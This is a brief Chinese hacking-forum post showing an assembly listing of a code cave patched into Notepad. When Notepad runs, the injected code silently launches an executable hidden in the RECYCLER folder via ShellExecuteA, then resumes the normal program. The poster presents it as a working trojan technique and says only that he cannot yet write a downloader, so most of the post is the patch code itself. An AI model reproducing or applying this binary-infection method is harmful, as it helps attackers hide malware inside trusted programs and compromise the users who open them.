发现者

复制内容到剪贴板
代码:
01008748 . ascii "D:\\RECYCLER\NTR"
01008758 . ascii "AS.EXE",0
0100875F . ascii "open",0
01008764   db 00
01008765   pushad
01008766   push 0                            ; /IsShown = 0
01008768   push 0                            ; |DefDir = NULL
0100876A   push 0                            ; |Parameters = NULL
0100876C   push NOTEPAD(.01008748         ; |FileName = "D:\\RECYCLER\NTRAS.EXE"
01008771   push NOTEPAD(.0100875F          ; |Operation = "open"
01008776   push 0                             ; |hWnd = NULL
01008778   call SHELL32.ShellExecuteA         ; \ShellExecuteA
0100877D  popad
0100877E   push 70
01008780   push NOTEPAD(.01001898
01008785   jmp NOTEPAD(.010073A3
这些代码是让记事本执行D:\\RECYCLER\NTRAS.EXE文件的功能！就是不会编下载的代码

帖子67 精华0 积分3214 阅读权限100 性别男 在线时间104 小时 注册时间2007-1-29 最后登录2008-7-5 查看详细资料引用 报告 回复 TOP

黑菜
荣誉会员